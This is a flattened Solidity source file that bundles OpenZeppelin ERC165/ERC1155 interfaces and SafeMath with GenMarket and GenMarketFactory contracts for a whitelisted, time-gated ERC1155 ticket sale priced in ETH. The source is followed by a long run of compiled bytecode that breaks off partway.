// File: @openzeppelin/contracts/introspection/IERC165.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC1155/IERC1155.sol pragma solidity >=0.6.2 <0.8.0; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external; } // File: @openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol pragma solidity >=0.6.0 <0.8.0; /** * _Available since v3.1._ */ interface IERC1155Receiver is IERC165 { /** @dev Handles the receipt of a single ERC1155 token type. This function is called at the end of a `safeTransferFrom` after the balance has been updated. To accept the transfer, this must return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61, or its own function selector). @param operator The address which initiated the transfer (i.e. msg.sender) @param from The address which previously owned the token @param id The ID of the token being transferred @param value The amount of tokens being transferred @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns(bytes4); /** @dev Handles the receipt of a multiple ERC1155 token types. This function is called at the end of a `safeBatchTransferFrom` after the balances have been updated. To accept the transfer(s), this must return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81, or its own function selector). @param operator The address which initiated the batch transfer (i.e. msg.sender) @param from The address which previously owned the token @param ids An array containing ids of each token being transferred (order and length must match values array) @param values An array containing amounts of each token being transferred (order and length must match ids array) @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns(bytes4); } // File: @openzeppelin/contracts/introspection/ERC165.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ abstract contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // File: @openzeppelin/contracts/token/ERC1155/ERC1155Receiver.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev _Available since v3.1._ */ abstract contract ERC1155Receiver is ERC165, IERC1155Receiver { constructor() internal { _registerInterface( ERC1155Receiver(address(0)).onERC1155Received.selector ^ ERC1155Receiver(address(0)).onERC1155BatchReceived.selector ); } } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File: contracts/interfaces/IGenMarketFactory.sol pragma solidity >=0.5.0; interface IGenMarketFactory { event MarketCreated(address indexed caller, address indexed genMarket); function feeTo() external view returns (address); function feeDivisor() external view returns (uint256); function feeToSetter() external view returns (address); function getGenMarket(address) external view returns (uint); function ticketToMarket(address) external view returns (address); function genMarkets(uint) external view returns (address); function genMarketsLength() external view returns (uint); function createGenMarket( address _genTicket, // Prices are in ETH uint256[] memory _prices, // Number of each ticket type being sold uint256[] memory _numTickets, uint256[] memory _purchaseLimits ) external returns (address); function setFeeTo(address) external; function setFeeToSetter(address) external; function setFeeDivisor(uint256) external; } // File: contracts/GenMarket.sol pragma solidity 0.6.12; contract GenMarket is ERC1155Receiver { using SafeMath for uint; address public genTicket; uint256[] public prices; uint256[] public numTickets; uint256[] public purchaseLimits; IGenMarketFactory public factory; address public creator; bool public active = false; mapping(uint256 => mapping(address => bool)) public whitelist; mapping(uint256 => mapping(address => uint256)) public purchases; mapping(uint256 => uint256) public ticketsPurchased; // Expected start time, start at max uint256 uint public startTime = type(uint).max; bytes private constant VALIDATOR = bytes('JC'); constructor ( address _genTicket, uint256[] memory _prices, uint256[] memory _numTickets, uint256[] memory _purchaseLimits, IGenMarketFactory _factory, address _creator ) public { genTicket = _genTicket; prices = _prices; numTickets = _numTickets; purchaseLimits = _purchaseLimits; factory = _factory; creator = _creator; } function ticketTypes() external view returns (uint) { return numTickets.length; } function updateStartTime(uint timestamp) external { require(msg.sender == creator, "GenMarket: Only creator can update start time"); require(getBlockTimestamp() < startTime, "GenMarket: Start time already occurred"); require(getBlockTimestamp() < timestamp, "GenMarket: New start time must be in the future"); startTime = timestamp; } function setWhiteList(uint256 id, address[] memory addresses, bool whiteListOn) external { require(msg.sender == creator, "GenMarket: Only creator can update whitelist"); require(addresses.length < 200, "GenMarket: Whitelist less than 200 at a time"); for (uint8 i=0; i<200; i++) { if (i == addresses.length) { break; } whitelist[id][addresses[i]] = whiteListOn; } } function deposit() external { require(msg.sender == creator, "GenMarket: Only the creator can deposit the tickets"); require(!active, "GenMarket: Market is already active"); uint256[] memory tokenIDs = new uint256[](numTickets.length); for (uint8 i = 0; i < numTickets.length; i++) tokenIDs[i] = i; IERC1155(genTicket).safeBatchTransferFrom(msg.sender, address(this), tokenIDs, numTickets, VALIDATOR); active = true; } function buy(uint256 _id, uint256 _amount) external payable { require(active, "GenMarket: Market is not active"); require(getBlockTimestamp() >= startTime, "GenMarket: Start time must pass"); require(whitelist[_id][msg.sender], "GenMarket: User not on whitelist"); require(purchases[_id][msg.sender].add(_amount) <= purchaseLimits[_id], "GenMarket: User will exceed purchase limit"); require(ticketsPurchased[_id].add(_amount) <= numTickets[_id], "GenMarket: Not enough tickets remaining"); require(prices[_id].mul(_amount) <= msg.value, "GenMarket: Insufficient payment"); purchases[_id][msg.sender] = purchases[_id][msg.sender].add(_amount); ticketsPurchased[_id] = ticketsPurchased[_id].add(_amount); if (factory.feeTo() != address(0)) { // Send fees to fee address (bool sent, bytes memory data) = factory.feeTo().call{value: msg.value.div(factory.feeDivisor())}(""); require(sent, "GenMarket: Failed to send Ether"); } bytes memory data; IERC1155(genTicket).safeTransferFrom(address(this), msg.sender, _id, _amount, data); } function claim() external { require(msg.sender == creator, "GenMarket: Only the creator can claim"); (bool sent, bytes memory data) = msg.sender.call{value: address(this).balance}(""); require(sent, "GenMarket: Failed to send Ether"); } function getBlockTimestamp() internal view returns (uint) { // solium-disable-next-line security/no-block-members return block.timestamp; } /** * ERC1155 Token ERC1155Receiver */ function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _value, bytes calldata _data) override external returns(bytes4) { if(keccak256(_data) == keccak256(VALIDATOR)){ return 0xf23a6e61; } } function onERC1155BatchReceived(address _operator, address _from, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data) override external returns(bytes4) { if(keccak256(_data) == keccak256(VALIDATOR)){ return 0xbc197c81; } } } // File: contracts/GenMarketFactory.sol pragma solidity 0.6.12; contract GenMarketFactory is IGenMarketFactory { using SafeMath for uint; // Address that receives fees address public override feeTo; uint256 public override feeDivisor; // Address that gets to set the feeTo address address public override feeToSetter; // List of genMarket addresses address[] public override genMarkets; mapping(address => uint) public override getGenMarket; // Base ticket address to market address mapping(address => address) public override ticketToMarket; event MarketCreated(address indexed caller, address indexed genMarket); function genMarketsLength() external override view returns (uint) { return genMarkets.length; } constructor(address _feeToSetter) public { feeToSetter = _feeToSetter; } function createGenMarket( address _genTicket, // Prices are in ETH uint256[] memory _prices, // Number of each ticket type being sold uint256[] memory _numTickets, uint256[] memory _purchaseLimits ) external override returns (address) { require(_numTickets.length == _prices.length, 'GenMarketFactory: ARRAY SIZE MISMATCH'); //address creator = msg.sender; GenMarket gm = new GenMarket(_genTicket, _prices, _numTickets, _purchaseLimits, this, msg.sender); // Populate mapping getGenMarket[address(gm)] = genMarkets.length; ticketToMarket[_genTicket] = address(gm); // Add to list genMarkets.push(address(gm)); emit MarketCreated(msg.sender, address(gm)); return address(gm); } function setFeeTo(address _feeTo) external override { require(msg.sender == feeToSetter, 'GenMarketFactory: FORBIDDEN'); feeTo = _feeTo; } function setFeeToSetter(address _feeToSetter) external override { require(msg.sender == feeToSetter, 'GenMarketFactory: FORBIDDEN'); feeToSetter = _feeToSetter; } function setFeeDivisor(uint256 _feeDivisor) external override { require(msg.sender == feeToSetter, 'GenMarketFactory: FORBIDDEN'); require(_feeDivisor > 0, "GenMarketFactory: Fee divisor must not be zero"); feeDivisor = _feeDivisor; } }
0x60806040523480156200001157600080fd5b5060043610620000b85760003560e01c806341d254d0116200007b57806341d254d014620002265780639a36f93214620002465780639e0ce4991462000266578063a2e74af6146200049c578063b17b21ed14620004e3578063f46901ed146200053e57620000b8565b8063017e7e5814620000bd5780630362e30014620000f3578063043531b1146200014e578063094b7415146200017f5780630d56525514620001b5575b600080fd5b620000c762000585565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b62000122600480360360208110156200010b57600080fd5b8101908080359060200190929190505050620005a9565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6200017d600480360360208110156200016657600080fd5b8101908080359060200190929190505050620005e6565b005b620001896200070f565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b620001fa60048036036020811015620001cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505062000735565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6200023062000768565b6040518082815260200191505060405180910390f35b6200025062000775565b6040518082815260200191505060405180910390f35b62000470600480360360808110156200027e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190640100000000811115620002bc57600080fd5b820183602082011115620002cf57600080fd5b80359060200191846020830284011164010000000083111715620002f257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156200035357600080fd5b8201836020820111156200036657600080fd5b803590602001918460208302840111640100000000831117156200038957600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190640100000000811115620003ea57600080fd5b820183602082011115620003fd57600080fd5b803590602001918460208302840111640100000000831117156200042057600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506200077b565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b620004e160048036036020811015620004b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505062000ad7565b005b6200052860048036036020811015620004fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505062000bdf565b6040518082815260200191505060405180910390f35b62000583600480360360208110156200055657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505062000bf7565b005b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60038181548110620005b757fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614620006aa576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f47656e4d61726b6574466163746f72793a20464f5242494444454e000000000081525060200191505060405180910390fd5b6000811162000705576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e81526020018062003371602e913960400191505060405180910390fd5b8060018190555050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60056020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600380549050905090565b60015481565b60008351835114620007d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806200334c6025913960400191505060405180910390fd5b6000858585853033604051620007ef9062000cfe565b808773ffffffffffffffffffffffffffffffffffffffff1681526020018060200180602001806020018673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff168152602001848103845289818151815260200191508051906020019060200280838360005b838110156200088d57808201518184015260208101905062000870565b50505050905001848103835288818151815260200191508051906020019060200280838360005b83811015620008d1578082015181840152602081019050620008b4565b50505050905001848103825287818151815260200191508051906020019060200280838360005b8381101562000915578082015181840152602081019050620008f8565b505050509050019950505050505050505050604051809103906000f08015801562000944573d6000803e3d6000fd5b509050600380549050600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506003819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f72bd1c1aa0b3cf8d29142bf2c3100320c089ef228d094996deac45cf9cb9453560405160405180910390a380915050949350505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161462000b9b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f47656e4d61726b6574466163746f72793a20464f5242494444454e000000000081525060200191505060405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60046020528060005260406000206000915090505481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161462000cbb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f47656e4d61726b6574466163746f72793a20464f5242494444454e000000000081525060200191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61263f8062000d0d8339019056fe60806040526000600660146101000a81548160ff0219169083151502179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600a553480156200005057600080fd5b506040516200263f3803806200263f833981810160405260c08110156200007657600080fd5b810190808051906020019092919080516040519392919084640100000000821115620000a157600080fd5b83820191506020820185811115620000b857600080fd5b8251866020820283011164010000000082111715620000d657600080fd5b8083526020830192505050908051906020019060200280838360005b838110156200010f578082015181840152602081019050620000f2565b50505050905001604052602001805160405193929190846401000000008211156200013957600080fd5b838201915060208201858111156200015057600080fd5b82518660208202830111640100000000821117156200016e57600080fd5b8083526020830192505050908051906020019060200280838360005b83811015620001a75780820151818401526020810190506200018a565b5050505090500160405260200180516040519392919084640100000000821115620001d157600080fd5b83820191506020820185811115620001e857600080fd5b82518660208202830111640100000000821117156200020657600080fd5b8083526020830192505050908051906020019060200280838360005b838110156200023f57808201518184015260208101905062000222565b5050505090500160405260200180519060200190929190805190602001909291905050506200027b6301ffc9a760e01b620003b660201b60201c565b6200029c63bc197c8160e01b63f23a6e6160e01b18620003b660201b60201c565b85600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508460029080519060200190620002f5929190620004bf565b5083600390805190602001906200030e929190620004bf565b50826004908051906020019062000327929190620004bf565b5081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050505062000530565b63ffffffff60e01b817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916141562000453576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f4552433136353a20696e76616c696420696e746572666163652069640000000081525060200191505060405180910390fd5b6001600080837bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b828054828255906000526020600020908101928215620004fe579160200282015b82811115620004fd578251825591602001919060010190620004e0565b5b5090506200050d919062000511565b5090565b5b808211156200052c57600081600090555060010162000512565b5090565b6120ff80620005406000396000f3fe60806040526004361061011f5760003560e01c806378e97925116100a0578063c45a015511610064578063c45a015514610736578063ce339d5b14610777578063d0e30db0146107c6578063d6febde8146107dd578063f23a6e61146108155761011f565b806378e97925146103ef5780639d648f9b1461041a578063ba5ef736146104f5578063bc197c8114610544578063bc31c1c1146106e75761011f565b80631c09e5c6116100e75780631c09e5c61461027e5780632fbbe937146102ed5780634b25bfce146103185780634e71d92d146103895780635685235b146103a05761011f565b806301ffc9a71461012457806302d05d3f1461019457806302fb0c5e146101d557806306bcf02f1461020257806307fc6e511461023d575b600080fd5b34801561013057600080fd5b5061017c6004803603602081101561014757600080fd5b8101908080357bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19169060200190929190505050610922565b60405180821515815260200191505060405180910390f35b3480156101a057600080fd5b506101a9610989565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101e157600080fd5b506101ea6109af565b60405180821515815260200191505060405180910390f35b34801561020e57600080fd5b5061023b6004803603602081101561022557600080fd5b81019080803590602001909291905050506109c2565b005b34801561024957600080fd5b50610252610b32565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561028a57600080fd5b506102d7600480360360408110156102a157600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b58565b6040518082815260200191505060405180910390f35b3480156102f957600080fd5b50610302610b7d565b6040518082815260200191505060405180910390f35b34801561032457600080fd5b506103716004803603604081101561033b57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b8a565b60405180821515815260200191505060405180910390f35b34801561039557600080fd5b5061039e610bb9565b005b3480156103ac57600080fd5b506103d9600480360360208110156103c357600080fd5b8101908080359060200190929190505050610d42565b6040518082815260200191505060405180910390f35b3480156103fb57600080fd5b50610404610d63565b6040518082815260200191505060405180910390f35b34801561042657600080fd5b506104f36004803603606081101561043d57600080fd5b81019080803590602001909291908035906020019064010000000081111561046457600080fd5b82018360208201111561047657600080fd5b8035906020019184602083028401116401000000008311171561049857600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803515159060200190929190505050610d69565b005b34801561050157600080fd5b5061052e6004803603602081101561051857600080fd5b8101908080359060200190929190505050610f1a565b6040518082815260200191505060405180910390f35b34801561055057600080fd5b506106b2600480360360a081101561056757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001906401000000008111156105c457600080fd5b8201836020820111156105d657600080fd5b803590602001918460208302840111640100000000831117156105f857600080fd5b90919293919293908035906020019064010000000081111561061957600080fd5b82018360208201111561062b57600080fd5b8035906020019184602083028401116401000000008311171561064d57600080fd5b90919293919293908035906020019064010000000081111561066e57600080fd5b82018360208201111561068057600080fd5b803590602001918460018302840111640100000000831117156106a257600080fd5b9091929391929390505050610f32565b60405180827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200191505060405180910390f35b3480156106f357600080fd5b506107206004803603602081101561070a57600080fd5b8101908080359060200190929190505050610fb2565b6040518082815260200191505060405180910390f35b34801561074257600080fd5b5061074b610fd3565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561078357600080fd5b506107b06004803603602081101561079a57600080fd5b8101908080359060200190929190505050610ff9565b6040518082815260200191505060405180910390f35b3480156107d257600080fd5b506107db61101a565b005b610813600480360360408110156107f357600080fd5b8101908080359060200190929190803590602001909291905050506113c7565b005b34801561082157600080fd5b506108ed600480360360a081101561083857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190803590602001906401000000008111156108a957600080fd5b8201836020820111156108bb57600080fd5b803590602001918460018302840111640100000000831117156108dd57600080fd5b9091929391929390505050611ce5565b60405180827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200191505060405180910390f35b6000806000837bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190815260200160002060009054906101000a900460ff169050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600660149054906101000a900460ff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a68576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602d815260200180611fab602d913960400191505060405180910390fd5b600a54610a73611d63565b10610ac9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611f596026913960400191505060405180910390fd5b80610ad2611d63565b10610b28576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f815260200180612076602f913960400191505060405180910390fd5b80600a8190555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6008602052816000526040600020602052806000526040600020600091509150505481565b6000600380549050905090565b60076020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815